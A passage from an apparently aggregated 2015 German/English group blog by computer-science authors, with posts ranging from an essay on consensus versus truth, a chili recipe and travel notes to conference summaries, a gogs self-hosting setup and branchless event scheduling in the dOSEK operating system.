In manchen Details diese Einordnung noch nie einfach. Haben sich Andreas Baader, Gudrun Ensslin und Jan-Carl Raspe selbst getötet? War Gundolf Köhler ein Einzeltäter? Was hat Lee Harvey Oswald am November 22, 1963 getan? Es gibt diese einzelnen Punkte, an denen der Strang der kollektiven Wahrheit sind trennt und in viele einzelne Fäden auftrennt, aber im großen und ganzen gibt es ihn noch bis in die relativ junge Vergangenheit. Der 11. September 2001, der darauf Folgende Afghanistan- und Irak-Krieg mögen umstritten sein, aber was die Wahrheit dieser Ereignisse betrifft, gibt es noch eine gewisse Einigkeit. Danach löst sich dieser Faden jedoch auf und ich glaube, dies ist nicht nur der Nähe zum jetzt geschuldet, sondern Teil eines größeren Phänomens.

Teil dieser Theorie ist, dass man Wahrheit besser durch Major Consensus Narrative ersetzen sollte. Denn, ist es nicht eigentlich völlig egal, was wirklich war, solange wir uns darin einig sind, was passiert ist? Oder, ist es nicht viel mehr so, dass Wahrheit sowieso nie etwas anderes bedeutet hat, da, eine "echte" Wahrheit, wenn sie denn existiert, sowieso nie als solche erkannt werden kann? Viele Anhänger harter Wissenschaft mögen drauf beharren, dass es eine "echte" Wahrheit geben muss, aber davon konnte mich noch niemand überzeugen. Ihr seid dazu aufgerufen!

Viel spannender finde ich jedoch die Frage, wenn wir die Existenz eines Major Consensus Narrative akzeptieren und eingestehen, dass durch den Bedeutungsverlust der Massenmedien dieser leidet, was bedeutet dies für unsere Gesellschaft? Gibt es einen Weg zu verhindern, dass unsere Gesellschaft in Teile zerfällt, in denen jeder sein eigenes Weltbild mit seinem eigenen Narrativ hat, welche alle, völlig adäquat unsere Realität beschreiben? Oder wäre das überhaupt nicht schlimm? Spielt es eine Rolle, ob eines dieser Narrative die tatsächliche Kausalität beschreibt oder ist das nicht eigentlich völlig egal, da Politik und Wirtschaft schon immer nur auf Scheinkausalitäten beruhen und nähert ein weiter Baum an Narrativen nicht die "echte" Kausalität am Ende viel besser an?

Ich glaube, am Ende haben wir wenig zu verlieren, wenn wir den Begriff der Wahrheit beerdigen.

September 25, 2015

Maximilian HenryChili!

Nachdem der Konsens in der WG auf fleischlos steht, gab es heute Chili sin Carne in der WG und es ist mir mMn richtig gut gelungen. Die Mengenangaben sind zum größten Teil nur Schätzung außerdem mag euer Geschmack variieren.

Zutaten:

  • Sojagranulat
  • Gemüsebrühe
  • 1 Espresso
  • 2 Getrocknete Habanero-Chilies
  • 3 Esslöffel Zucker
  • 1 Zimtstange
  • 1 Schuss Rum
  • 3 Zwiebeln
  • 6 Zehen Knoblauch
  • Geräucherte Chiliflocken
  • Geräuchertes Paprikapulver
  • 3 EL Kreuzkümmelsamen
  • 1 EL Koriandersamen
  • 1 TL Zimt
  • Salz
  • Tomatenmark
  • 5 Dosen Kidneybohnen
  • 2 Dosen Mais
  • 2 Dosen Kichererbsen
  • 3 Packen Passierte Tomaten
  • 5 TL Kakaopulver
  • 50g geraspelte Zartbitter-Schokolade
  • Olivenöl

Vorbereitung

Als erstes sollten wir das Sojagranulat in kochendem Wasser einweichen, vorzugsweise ein paar Stunden lang, und damit es nach etwas mehr schmeckt, kommt noch etwas Gemüsebrühe dazu. Wie viel Soja ihr wollt ist etwas Geschmackssache, erfahrungsgemäß will man weniger verwenden, als man von Hackfleisch nehmen würde, da es sonst etwas hervor schmecken kann.
Dann kümmern wir uns um ein grundlegendes Würzmittel, den Chili-Kaffee-Extrakt. Dafür hacken wir die Habaneros fein (Tipp: Zieht euch dafür Einweghandschuhe an!) und bereiten einen starken Espresso vor. Dann erhitzen wir etwas Öl in einem kleinen Topf und rösten die gehackten Chilis darin. Wenn die Schärfe im Hals kratzt, ist der richtige Moment um Kaffee, Rum, Zucker und eine Zimtstange dazu zu geben und anschließende das ganze einreduzieren lassen, bis noch die Hälfte übrig ist.

Kochen

Das kann nun erstmal zur Seite und wir können richtig anfangen. Dafür schneiden wir die Zwiebeln und den Knoblauch und waschen das Sojagranulat in einem Sieb aus, solange bis die Flüssigkeit nicht mehr bräunlich ist, dann schmeckt es auch nicht so hervor.
Jetzt brauchen wir unseren großen Chilitopf und braten dort zuerst nur die Zwiebeln an, geben dann Soja und Knoblauch dazu, wenn das Soja anfängt anzuhängen, mischen wir etwas Tomatenmark und 2 Esslöffel von unserem Chili-Kaffee darunter. Anschließend können Tomaten, Bohnen, Kichererbsen und Mais dazu und alles darf vor sich hin köcheln, es wird dadurch nur besser.
Jetzt haben wir zeit uns um die Gewürze zu kümmern, während wir gelegentlich umrühren. Dazu kommen Koriander, Kreuzkümmel und Salz in einen Mörser und werden dort zerkleinert. Das Salz erleichtert den Prozess und wir wollten ja eh Salzen. Anschließende noch die Pulvergewürze dazu und ab in den Topf. Jetzt noch das Kakaopulver und die Schokolade dazu geben, so dass die rote Farbe der Tomaten sich ins bräunliche verfärbt.
Wie viel von dem Chili-Kaffee ihr noch rein schütten wollt und wie viel ihr euren Gästen zum Nachschärfen lasst, überlasse ich mal euch. Jetzt ist das Chili im Prinzip fertig, will aber noch mindestens eine halbe Stunde köcheln, eher länger.
Dazu empfehle ich selbst gemachte Guacamole, damit lässt sich auch übermäßige Schärfe wieder etwas mildern

September 18, 2015

Christian DietrichTechnik, die begeistert

Dieser Post ist das Ergebnis mehrerer Begegnungen mit meinen Kollegen und es ist mein Ziel darzulegen, welche meine Beweggründe in einem ganz speziellen, eng abgesteckten Bereich sind und wie ich hier zu meinen Überzeugungen gekommen bin. Ziel ist es nicht meine Ansicht anderen überzuhelfen, sondern nur sie verständlich zu machen.

An meiner Arbeitsstelle bekommen alle Mitarbeiter die Chance einen Dienstlaptop zu kaufen. In den meisten Fällen fällt die Entscheidung auf einen Apple Laptop. Und so stand auch ich am Beginn meiner Anstellung als wissenschaftlicher Mitarbeiter vor der Frage, ob und welchen mobilen Rechner ich mir zulegen will.

Allerdings habe ich mich aktiv gegen das Kaufen entschieden. Stattdessen verwende ich seit geraumer Zeit ein mehrere Jahre altes Gerät, dass einer meiner Kollegen durch ein Neues ersetzt hat. Es funktioniert noch hervorragend, ist nur nicht mehr auf dem "aktuellen Stand der Technik". Was ich mir habe leisten lassen war ein Hardwareupgrade (RAM, Festplatte) für einige hundert Euro.

Meine bewusste Entscheidung gegen die Neuanschaffung hat mehrere Gründe. Zum einen, ist der Stand der Technik von vor 5 Jahren für die allermeisten meiner Anforderungen völlig ausreichend. Es hat seitdem einfach nur in sehr begrenztem Maße bahnbrechende Verbesserungen gegeben. Nur in einigen Bereichen (Retina-Displays, Akkulaufzeit) ist eine wirkliche Verbesserung spürbar geworden. Brauche ich doch einmal mehr Rechenleistung muss ich diese eh auf größere Infrastruktur ausweichen.

Zum anderen sehe ich es nicht ein, ein völlig funktionsfähiges Gerät auszumustern oder in den Schrank zu legen, nur weil es einige Jahre alt ist. Alter ist kein Problem an sich. Selbstverständlich erhöht sich das Ausfallrisiko einiger Komponenten mit den Jahren, was durch vergangene Komponententauschungen bei diesem Gerät in geringerem Maße zutrifft. Eine Neuanschaffung hingegen ist immer auch Ressourcenverbrauch. Bei der Produktion wird sowohl Energie, als auch andere endliche Ressourcen unseres Planeten verbraucht. Konkret diese Ressourcen werden unsere Nachkommen nicht mehr haben. Und Menschen müssen dafür Arbeiten, damit ich ein neues Gerät in Händen halten kann.

Unser ständiger Wunsch nach den neusten Geräten ist mit einem enormen Ressourcenverbrauch verbunden. Jedes neue technische Spielzeug, von denen wir ja sehr viele haben und haben wollen, bindet Ressourcen. Umso häufiger wir diese wechseln, umso höher wird der Verbrauch. Und solange keine Not besteht, solange will ich diesen Verbrauch hinauszögern soweit es geht.

Außerdem ist Konsum anstregend. Ich will mich nicht ständig mit den neuesten Laptops, Handys, E-Book Readern, Smartwatches und Bildschirmen auseinander setzen. Ich weiss besseres mit meiner Zeit anzufangen. Für mich wiegt das kurzfristige Belohnungsgefühl beim Kauf eines neuen Gerätes nicht mehr den Zeitaufwand der Anschaffung auf.

Ein anderer Grund der speziell für die Informatik ist und der über dieses eine konkrete Gerät hinaus geht ist ein eher Ideelles. Mit unendlichen Ressourcen kann ich in der Informatik das allermeiste bewältigen. Probleme können häufig durch teurere Hardware erschlagen werden. Aber wir wissen auch, dass alle Rechner prinzipiell gleich mächtig sind, wenn wir sie einmal als angenäherte Turing-Maschine begreifen. Die Kunst eines guten Programmiers ist es aus wenigen Ressourcen alles rauszuholen was geht. Das ist Kunst: aus (fast) nichts (fast) alles machen.

Und dies trifft auch gerade in dem Bereich der Informatik mit dem ich mich beschäftige zu. Betriebssysteme will niemand haben; niemand will seine kostbaren Rechenzyklen dafür hergeben, dass das Betriebssystem irgendwelchen Quatsch berechnet. Am besten das Betriebssystem wäre garnicht da. Hier, und noch viel mehr im Bereich der eingebetten Systeme, kommt es im Besonderen darauf an Ressourceneffizient zu arbeiten. Ich sehe allerdings, dass dieser Geist und diese Freude am Minimalismus nicht mehr so populär ist.

Ich jedenfalls werde die Benutzung dieses Laptops solange ausdehen, wie das nur überhaupt möglich ist.

August 14, 2015

Andreas RuprechtDänemark, Schweden und Hamburg – Sommer 2015

Hier eine Sammlung von Bildern aus dem Sommerurlaub – diesmal im Norden, um der WĂźstenhitze zu entkommen, was auch richtig gut funktioniert hat đŸ™‚

July 12, 2015

Christian DietrichLund in Schweden

Zur Zeit befinde ich mich wiedereinmal in schönen Schweden. Letztes Jahr was ich mit zwei Freunden einige Zeit mit dem Wohnmobil von Västerås nach Göteborg unterwegs. Ich habe in der Zeit den schönsten See der Welt gesehen und die Gegend sehr genossen. Ich kann die Strecke wirklich empfehlen, wenn man mit Wohnmobil oder Zelt unterwegs ist.

Dieses Jahr hatte ich glücklicherweise, dank einer Konferenz in Lund, wieder die Chance nach Schweden zu kommen. Diesmal deutlich weiter südlich als letztes Jahr. Lund befindet sich in der Provinz Skåne und etwa 20 Kilometer nördlich von Malmö. Mit seinen 100.000 Einwohnern ist es ungefähr so gross wie Erlangen, hat aber tatsächlich eine noch grössere Universität. 46.000 Studenten absolvieren an der Universität von Lund ihr Studium. Meine Gastgeberin hier meinte auch, dass alle Studenten irgendwie auf dem Stadtgebiet Leben, was zu einer enormen Platznot führt. Aktuell sind gerade Ferien, daher bekomme ich nicht so besonders viel von diesen Studentenmassen mit.

Während der Woche hatte ich nicht besonders viel Zeit mir die Stadt anzuschauen, da ja nebenbei auch noch Konferenz war. Aber Lund ist schon ein wirklich schönes Städtchen, und von grad der niedlichkeit mit Rothenburg o.d.T. vergleichbar, was nahe meines Heimatortes liegt. Die Gebäude sind hier zu einem sehr grossen Teil in Backstein gehalten und es gibt wirklich viele alte Gebäude. Es hat wirklich eine erstaunliche Wirkung auf das Stadtbild, wenn eine Stadt nie wirklich zerstört wurde. Allerding hat man hier auch sehr schnell das allermeiste gesehen. Wie es meine Gastgeberin gesagt hat: "Alles ist 20 Minuten entfernt, alles".

Am Samstag, meinem ersten freien Tag, hab ich mir dann ein Fahrrad gemietet um die Gegend ein bischen zu erkunden. Allerdings dafür, dass Lund von sich behauptet eine Fahrrad Stadt zu sein, ist es ausserordentlich schwierig ein Fahrrad zu leihen. Weil scheinbar alle Läden die Fahrräder verleihen in den letzten Jahren das Angebot eingestellt haben. Ende vom Lied: Ich konnte mir am Samstag um 11 Uhr ein klappriges Damenrad mit einer 3 Gang Nabenschaltung für 25 EUR leihen. Naja, aber immerhin: fahrbarer Untersatz. Was man dann als Gegend zu sehen bekommt ist auch durchaus ansprechend. Ich möchte ausserdem vermelden, dass ich mich 65 km auf diesem Drahtesel, GEGEN den Wind, gekämpft habe.

Am Sonntag hab ich mich dann mittels "Fahrrad" Richtung Malmö begeben. Ich muss sagen: Minder begeistert. Es ist eine ganz nette Stadt, hat ein paar schöne Ecken, aber so wirklich vom Hocher gerissen hat es mich nicht. Mag auch daran liegen, dass das Wetter nicht ganz so grossartig war wie gestern. Aber Malmö, was direkt am Öresund liegt, ist halt doch nur eine Industriehafenstadt. Von Malmö aus geht auch die Öresundbrücke Richtung Kopenhagen, welche ich auch am Dienstag wieder nehmen werde um zurück zum Flughafen zu kommen. Es ist nämlich so, dass man nach Lund am besten kommt, wenn man nach Kopenhagen (Dänemark!) fliegt und dann mit dem Zug über die Brücke gondelt.

June 17, 2015

Maximilian HenryInformatik in der Schule?

Durch die Diskussion auf Twitter um den Lehrplan an Gymnasien in Baden-Württemberg, Gespräche mit Kommilitonen und auch durch meine Eindrücke von dem, was Erstsemester-Studenten bei unseren Einführungsveranstaltungen berichten, habe ich mich immer wieder damit auseinander gesetzt, wie ich finde, dass Informatik an Schulen aussehen sollte und warum ich den bayerischen Status Quo nicht gut finde.
Für alle, die nicht aus Bayern kommen, ein kurzer Abriss, was derzeit an Gymnasien im besten Fall gelehrt wird. Sprich auf dem technischen Zweig und wenn entsprechende Lehrer vorhanden sind. In diesem Fall haben Schüler bis zur 12. Klasse Informatik und behandleln dort Objekt Orientierung, UML, SQL, Programmieren Java und machen Algorithmik bis hin zu den typischen Pfadalgorithmen wie Prim, Kruskal und Dijkstra. Damit haben sie, im Grunde alles behandelt, was im ersten Semester in Algorithmen und Datenstrukturen besprochen wird! Und dieses Fach ist ein Drittel des ersten Semesters. Das ist doch super! Mehr Zeit für anderen spannenden Stoff im Studium, oder?
Well, no.

Das ist das "Optimum". Das Minimum, selbst bei Studenten, die ihr Abitur auf einem bayerischen Gymnasium gemacht haben, sieht völlig anders aus. Abseits vom technischen Zweig ist Informatik in der Oberstufe kein Pflichtfach mehr und was in der Mittelstufe gemacht wurde, kann auch gerne mal eine Mischung aus Office-Klicken und Robot-Karol sein.
Ist also die Streuung das einzige Problem? Nein. Für die Streuung gäbe es naheliegende Optionen, dieses Problem zu verringern, zum Beispiel könnte das Informatik Studium mit Haskell als erste Programmiersprache starten, worin der überwiegende Teil der Studenten das gleiche Erfahrungslevel, keines, hat.
Bleibt aber die Frage: Muss Informatik an Gymnasien überhaupt auf das Studium vorbereiten und wenn nein, warum sollte es wichtig sein, Menschen programmieren beizubringen.
Ich glaube, auf dem Weg in eine immer weiter technisierte Welt gibt es viel wichtiger Dinge, welche Schulen vermitteln sollten, als programmieren! Ich habe die Argumente gehört, dass Programmieren ja zur Ermächtigung der Nutzer, weg vom reinen Konsumenten helfe und auch, dass Programmieren ja bei einem Verständnis von Computern helfen könne, ein Lernziel, welches mir selbst sehr am Herzen liegt. Aber ich bin nicht davon überzeugt. Meine 2,5 Jahre als Tutor in einer Informatik Vorlesung für andere Ingenieure spricht ein anderes Bild. Hier ist eine Auswahl von Menschen, welche die Schule schon hinter sich gelassen haben und sich für ein technisches Studium entschieden haben und noch nicht mal für diese führt programmieren zu lernen zu einem Verständnis von Computern. Wie soll das dann Jahre eher in der Schule klappen? Den gedanklichen Sprung von "Der doofe Computer macht nicht, was ich will" zu "Ich hab dem Computer das falsche gesagt und das hat er dann auch gemacht" schafft nicht mal die Hälfte dort.
Außerdem sollte der Informatikunterricht den Folgen von iPads und Co. entgegenwirken. Denn während ich zu meiner Schulzeit noch die Hoffnung hatte, dass technische Verständnis nachfolgender Generationen könnte besser werden, habe ich inzwischen den gegenteiligen Eindruck. Die Digital Natives sind am Ende doch nur iPad und Facebook Natives, weil die Computer, mit denen sie aufwachsen, ihre Technik viel zu gut verstecken und immer mehr zu schwarzen Boxen werden.
Um nicht nur Negatives und Probleme aufzuzählen, was würde ich nun in einen modernen Informatik Lehrplan packen? Also von mir aus, etwas Programmieren kann man ja machen, aber bitte mit der niedrigst möglichen Einstiegshürde und ohne diesen albernen Fokus auf Objektorientierung, die derzeit in Bayern schon irgendwo in der 7. Klasse eingeführt wird. Stattdessen eher Irgendeine Skriptsprache, mit der man auch interaktiv spielen kann beibringen. Viel wichtiger fände ich aber ein Verständnis von abstrakten Konzepten wie Berechenbarkeit und Verschlüsselung zu vermitteln. Bringt Leuten bei, dass ein Computer eben nicht alles kann! Und, macht Schülern klar, was die gesellschaftlichen Konsequenzen der Digitalen Welt sind, warum es so gut wie unmöglich ist, Dinge wieder aus dem Internet raus zu bekommen, selbst wenn es die Nacktfotos der 16. Jährigen Klassenkameradin sind, die sich doch nur für ihren Freund gemacht hat. Gute und richtige Schritte in diese Richtung gibt es, aber sie kommen aus keinem Kultusministerium, sondern aus der Aktion Chaos macht Schule des Chaos Computer Clubs.

June 14, 2015

Christian DietrichOn Conference: PLDI and LCTES

Currently, I'm attending the FCRC Multi-Conference in Portland, Oregon. I want to write a few paragraphs about contributions I found especially interesting, and this post is more a journal for myself, than written for wider audience. But, perhaps this is interesting to others as well.

Panchekha et al. introduced Herbie, which is an heuristic optimizer for floating-point expressions to increase precision. In computing floating-point expression, the ordering and selectiong of instructions is essential for the precision of the calculation. Herbie takes an actual Rn->R function and emits a partially defined function with a minimized imprecision introduced by the selected operations.

Lopes et al presented Alive, which is an verifier for peephole optimizations in compilers. A peephole optimizations looks at the immediate representation or the machine code and replaces templates of code with faster templates of code. Alive does use the C3 theorem prover to prove the correctness of such optimizations in LLVM and found 8 bugs.

Furthermore, I learned about the existence of Vickery auctions, which is a form of auction, where the highest bid wins, but the winner does pay the price of the second highest bid. In constrast to a normal auction, this auction type does maximize the social welfare instead of the revenue. Social wellfare is defined in this setting as: the bidder with the highest need to get the item will win.

Kanev et al. presented a hardware profiling of whole datacenters. And the results are rather amazing. They profiles a bunch of Google servers for a few weeks and examined the results. It is surprising that about 30 percent of all instructions are spent in the "datacenter tax" (allocation, memmove, rpc, protobuf, hash, compression). This is really a huge number. Furthermore, they could show that pipeline stalls due to instruction cache misses contribute largely to the waiting time in those large datacenter applications. The i-cache working sets are often larger than the L2 cache; the instructions have to compete with data cache lines. Perhaps we will see computers with split L2 cache in the future.

In the DCC keynote, John Wilkes talked about cluster management at the Google datacenters. And their approach is fascinating. The basic assumption is: a machine that is not running has a speed of 0. Therefore, we optimize for availability and we assume failure to be the normal operation mode. In an EuroSys'15 paper, Verma et al talk about the Borg cluster management software, Google uses internally for its management.

During the LCTES conference, Bardizbanyan et al. presented a processor modification to adapt the memory-fetch stage so it takes the need of the current memory operation into account. Not all memory operations need all features the addressing mode provides. For example, mov 4(%eax), %ebx doesn't need an offset from a register with scaling (in contrast to niv 4(%eax, %ecx, 4)). Therefore, they propsed to gate these addressing features within the memory fetch stage and do speculative address calculation to improve energy consumption and latency of the stage.

Baird et al. presented a method to optimize programs for static-pipeline processors. A static pipeline is similar to a horizontal-micro instruction CPU. For a static-pipeline CPU, the compiler doesn't emit a stream of instructions, where each token is one instruction, but it splits the effects upon several commands. Each command describes what all stages of the pipeline should do in the current instruction cycle. Statically pipelined processors, are hard to program, but reveal a high energy efficiency. Baird proposed methods to optimize transfer-of-control instructions for these command-packets.

From Ghosh et al., I learned that processors that do dynamic binary translation (e.g., Transmeta Crusoe) can to speculative alias analysis. For this, the processor has some alias registers and every instructions is marked to either update of check a specific alias register. If two instructions then have an aliased pointer, the CPU faults, and the program is translated without the optimization that lead to that fault.

With Clover, Liu et al. presented an hybrid approach to mitigate soft-errors. As a hardware plattform, they used a processor with sonic micro-detectors that can detect the impact of a cosmic particle. In software, they implemented checkpointing for code-regions. Since the detector has a delay due to the physical limiation of a sonic detector, they proposed a compiler-based approach to execute the last N instructions of each code region twice in order to cover the worst-case detection delay. Although they claimed to be free of SDCs, they have strong assumptions, about their fault-model (fault occur on chip and the memory is ECC protected) and control-flow errors (there is a working software-based control-flow error detection).

May 22, 2015

Maximilian Henrygogs auf uberspace

gogs ist ein git-Webdienst ähnlich zu dem was github, oder als Konkurent gitlab, welches man sich ebenfalls zum selbst hosten installieren kann, bietet. Gitlab ist zwar das bekanntere Projekt und hat vielleicht auch mehr Features, ist allerdings typische Ruby-Software und entsprechend lustig zum aufsetzen. Wer es unkomplizierter mag und außerdem vielleicht auch ohne eine gitshell aus kommt, weil es eigentlich nur um ein Webinterface geht, mit der Möglichkeit geht, eigene Projekte mit einer http(s)-url verfügbar zu machen, für den ist gogs auf jeden Fall eine einfache und schicke Lösung.

Die Installation geht relativ einfach von statten und folgt im großen der offiziellen Anleitung. Wichtig war bei mir, nicht das Go zu benutzen, welches installiert ist, auch wenn es eigentlich aktuell genug sein sollte, sondern auch hier, eine neue Version lokal zu installieren.

Die aus den Quellen gebaute Version braucht außerdem MySQL oder PostgreSQL, SQLite funktionierte bei mir nicht. Also erst einmal in den Adminer gehen, und eine neue Datenbank für gogs anlegen.
Dann nach dem wir die Installation abgeschlossen haben, wollen wir vor dem ausführen noch die Config anpassen.

Mein Ansatz ist, gogs in einem Unterordner meiner Domain laufen zu lassen, also wollen wir das in die Konfiguration schreiben und außerdem brauchen wir noch eine freie Port Nummer.
Also sollte unser app.ini nun so aussehen:

   DOMAIN = $EUREURL
   HTTP_PORT = $EUERPORT
   ROOT_URL = https://$EUREURL/git/
   DISABLE_SSH = true
   [database]
   DB_TYPE = mysql
   HOST = 127.0.0.1:3306
   NAME = $UBERSPACEUSER_gogs
   USER = $UBERSPACEUSER
   PASSWD = $MYSQLPW

und für den port brauchen wir noch in dem Webroot euer Domain im Ordner /git/ eine .htaccess Datei, welche so aussehen sollte:

   RewriteRule ^(.*) http://localhost:$EUERPORT/$1 [P]

Damit passt jetzt alles, und ihr solltet, nachdem ihr gogs mit ./gogs web gestartet hab, euch euren Nutzer anlegen können.

April 22, 2015

fauiwgMitbewohner

Mitbewohner, wobei eigentlich sollte ich hier ja den neutralen Standpunkt einnehmen! Lasst uns also Bewohner sagen. Bewohner gehören zu einer WG notwendigerweise dazu und werden darum meist als gegeben hingenommen. Für die Letzten 2,5 Jahre, war das auch, abgesehen von kurzzeitigen Schwankungen in der konkreten Verfügbarkeit, nie ein Problem. Doch nun zeichnet sich eine größere Veränderung ab. Ein Bewohner wird diese WG Ende Juli verlassen. Das bedeutet eine große Veränderung, die Herausforderung jemand neuen in einen über 2,5 Jahre gewachsenen Sauhaufen zu integrieren, stellte sich bei Lebensabschnittspartnern zwar auch immer, war dort aber auch nie so fix, man war nie so auf ein funktionierendes Zusammenleben angewiesen wie in diesem Fall. Jemanden zu suchen, mit welcher wir als als Mitbewohnerin glücklich werden und welche zu gleich auch mit uns als Mitbewohnern glücklich werden kann, ist eine ungewohnte Herausforderung und spannend, aber auch wirklich anstrengend und ich glaube, wir sind alle Froh, wenn die diese Herausforderung gemeistert haben. Lasst uns hoffen, dass es noch diese Woche soweit sein wird.

April 07, 2015

Maximilian HenryDie alte Dame

Ich habe eine Obszession, es ist nicht meine erste und es wird nicht meine letzte sein. Dieses mal geht es um eine alte Dame, welcher ein 2. nein vielmehr ein 3. Leben geschenkt wurde. Die Rede ist natürlich von der Erlanger Zuse Z23.

Aber was macht diesen alten Computer nun so spannend? Das spannende ist einen Rechner zu haben, welcher erstens groß genug ist, dass alle Funktionalen Bauteile bis hin zu einzelnen Transistoren und Bits im Schnellspeicher sichtbar sind. Zum anderen, ist dieser Rechner so anders, als alles was man gewohnt ist, anders als alles, was man im Studium über die Konstruktion von Prozessoren und ganzen Computern lernt, dass auch das eine Faszination ausübt. Mit all meinem Wissen, wäre ich nie auf die Idee gekommen, einen 40 bit Bitseriellen Prozessor zu konstruieren, welcher einen vollständig orthogonaler Befehlssatz besitzt und ohne einen Instruktionszeiger auskommt, zu konstruieren. Dieses Desgin macht für die Zeit und die Kosten eines einzelnen Transistors absolut Sinn, entspricht aber eben überhaupt nicht der amerikanischen Tradition des CPU-Designs, welcher heute alle aktuellen Prozessoren folgen.

Eurokarten mit der Prozessorlogik

Dieser Computer ist so modern! Er verfügt über Speichereingeblendete Eingabe und Ausgabe, er hat einen riesigen Registersatz, es ist ein RISC-Prozessor!

Bedienpanel

Dieser Computer ist so archaisch! Er hat eigentlich garkeine Register, sondern nur einen kleinen Hauptspeicher (genannt Schnellspeicher). 40 Bit sind nichts halbes und nichts ganzes! Die Ausgabe passiert auf einem Fernschreiber, die Eingabe auf einem Lochstreifen.

Klassische Kathegorien scheitern hier. Was bleibt, ist ein Rechner, welcher dank der Arbeit zweier Männer nun, nach seinem Wissenschaftlichen Einsatz im IMMD der Uni-Erlangen und seinem Dienst im Christian-Ernst-Gymnasium nun in der Informatiksammlung Erlangen ein drittes Leben geschenkt bekam. Danke dafür an Volkmar Sieh und Edwin Aures.
Eine ausführliche technische Beschreibung wird an dieser Stelle hoffentlich bald folgen, denn eine solche findet sich derzeit nicht einmal in der Wikipedia.

March 31, 2015

Christian DietrichdOSEK Version 1.1

The DanceOS team is proud to announce the release of dOSEK version 1.1. With the latest release, we added support for OSEK events and an improved ARM support.

OSEK events are a synchronization primitive provided by the kernel. Events are system objects, which are declared in the OIL configuration file. Each event belongs to exactly one task in the system. Only the owning task can clear the event or wait for its arrival. Events can be signaled by any other task in the system. Additionally an alarm can be configured to send an signal to a specific task.

The ARM support was improved and dOSEK runs now on a real hardware platform; the ZedBoard. This architecture port supports all dependability features of dOSEK besides the memory protection.

The additional dependability features of dOSEK include: an concurrent checker for data objects, replication of OS state, and retry of encoded schedule operations.

The source code can be obtained from github. For more details on the changes, have a look at the Changelog.

February 24, 2015

Christian DietrichWaiting in dOSEK

In my current research, I'm working on the dOSEK operating system. dOSEK is dependable operating system that implements the OSEK standard for embedded real-time systems. dOSEK is designed to be resilient against soft-errors (transient hardware faults, bit flipts) in memory and the registers (A paper on RTAS'15 will be published soon). In this blog post, I will describe how we implemented a branchless version of OSEK events, and integrated it in our system. First, I will give a short overview about the scheduling primitive used in dOSEK.

Scheduling in dOSEK

The core of dOSEK is the priority-driven scheduler. OSEK is a static operating-system standard; for a specific system, we know exactly how many threads exists. This number will never change, it is configured at compile time. The scheduler selects always the thread with the highest priority that is runnable and executes it. In dOSEK, a thread is runnable, if its priority is larger than the priority of the idle thread. In pseudocode, the scheduler/dispatcher looks like this:

schedule() {
   current_thread = idle_id;
   current_prio   = idle_prio;

   updateMax((current_thread, current_prio),
             (thread_1_id, thread_1_prio));

   updateMax((current_thread, current_prio),
             (thread_2_id, thread_2_prio));

   updateMax((current_thread, current_prio),
             (thread_3_id, thread_3_prio));

   switch_to_thread(current_thread);
}

The scheduler is generated for the specific system (in this case, for a system with 3 threads), and contains a updateMax() cascade. updateMax() is a hardened operation, that updates the first input tuple with the second one, iff the priority of the second argument-tuple (second tuple, second item) is higher than the priority of the first tuple. In the first cascade element, current_thread is set to thread_1_id, if current_prio \< thread_1_prio. In pseudocode:

updateMax((a, b), (c, d)) {
  if (b < d) {
    (a, b) = (c, d);
  }
}

Events in OSEK

In OSEK, events are the only possibility for a thread to wait on something. Each thread can receive a number of event signals. With the system call WaitEvent(), a thread can wait for one or more events to happen. If any of the events from the list got signaled by another thread with SetEvent, the waiting thread unblocks. Signals are not automatically cleared, but must be cleared explicitly by ClearEvent.

A version with branches can be implemented by two bitmasks:

 struct Thread {
  ...
  event_mask_t events_waiting;
  event_mask_t events_set;
  ...
};

SetEvent(Thread t, event_mask_t m) {
   t.event_set |= m;
}
WaitEvent(Thread t, event_mask_t m) {
   t.event_waiting = m;
}
ClearEvent(Thread t, event_mask_t m) {
   // Remove the event mask bitwise
   t.event_waiting &= ~m;
   t.event_set     &= ~m;
}

Schedule() {
   ...
   if (thread_1.event_waiting != 0
       || (thread_1.event_waiting & thread_1.event_set) != 0) {
      updateMax((current_thread, current_prio),
                (thread_1_id, thread_1_prio));
   }

In this simple variant, we maintain a event_waiting mask, which maintains a bitmask of events a specific thread is waiting for. The event_set bitmask holds a bitmask of signaled events. If a thread is waiting, and none of the waited signals is set, we exclude the thread from the updateMax() cascade. It is get blocked.

But there is one problem here, with dependability: we have branches. Branches are evil; makeing them resilent against soft-errors is hard. Therefore, we want to have a branchless version of it.

Events in dOSEK

Shortly explained, in the branchless version, we let the priority of a thread drop below the idle~priority~, if it currently blocks. Therefore, we calculate a blocking term for every thread that is either zero or the highest priority in the system. This blocking term is substracted from the thread priority, when calling updateMax():

updateMax((current_thread, current_prio),
          (thread_1_id,    thread_1_prio - blocking_term));

For each event, a thread can receive, we have two integer variables W (for waiting) and S (for set). Both variables can have two values: either 0 or High (for highest priority in the system).

Zustandsßbergänge beim Warten

In this diagram, we see all four states a event can have. A event is a tuple of (W, S). The set() and clear() operations set override the tuple. If we want to wait for an event mask, we set the W flag accordingly for all events a thread can wait for:

struct Event {
   int W;
   int S;
};

Event thread_1_event_a;
Event thread_1_event_b;

...
WaitEvent(Thread t, event_mask_t m) {
   // t is always known at compile time, and this cascade is generated for the system.
   if (t == thread_1) {
      if (m & 1)
         thread_1_event_a.W = High;
      else
         thread_1_event_a.W = 0;

      if (m & 2)
         thread_1_event_b.W = High;
      else
         thread_1_event_b.W = 0;
   }
}

But how can we now deduce the blocking_term from the event states? First we calculate the blocking_term for a single event. We use a matrix notation that captures all four states from the diagram shown before.

The Blocking Term

By the blocking term function, we generate a term for each event that is only 0, if the event was used for blocking and is set. In all other cases, the blocking term is High. We achieved this by using only bitwise XOR an OR operation. We're still branchless! :-)

We combine now all blocking terms of all events a specific task can wait for with AND. So the result is only then zero if at least single event, which is on the waiting list, is set. Furthermore, we determine whether we can block in the first place, by combining all W states with OR. The should_wait variable is either High, if we're waiting, or 0 if we're not waiting.

does_block  = blocking_term(thread_1_event_a) & blocking_term(thread_1_event_b);
should_wait = thread_1_event_a.W | thread_1_event_b.W;
blocking_term = should_wait & blocking_term;

Combining both variables with AND, we achieve our blocking term. Branchless. And we can subtract it, before we call the updateMax(), from the threads priority.

February 23, 2015

Christian DietrichWaiting in dOSEK

In operating systems, waiting states are an essential feature to keep up the illusion that every thread is alone on the machine. In general-purpose operating systems, waiting states occur when data is read from the hard drive or when data is written from a network socket. A thread can also wait for the completion of work executed in another thread. Here, one thread waits for a signal the other thread provides. Waiting states are also part of real-time operating systems, like the OSEK standard. We've now implemented this feature, which is required for the OSEK ECC1 conformance class.

Scheduling in dOSEK

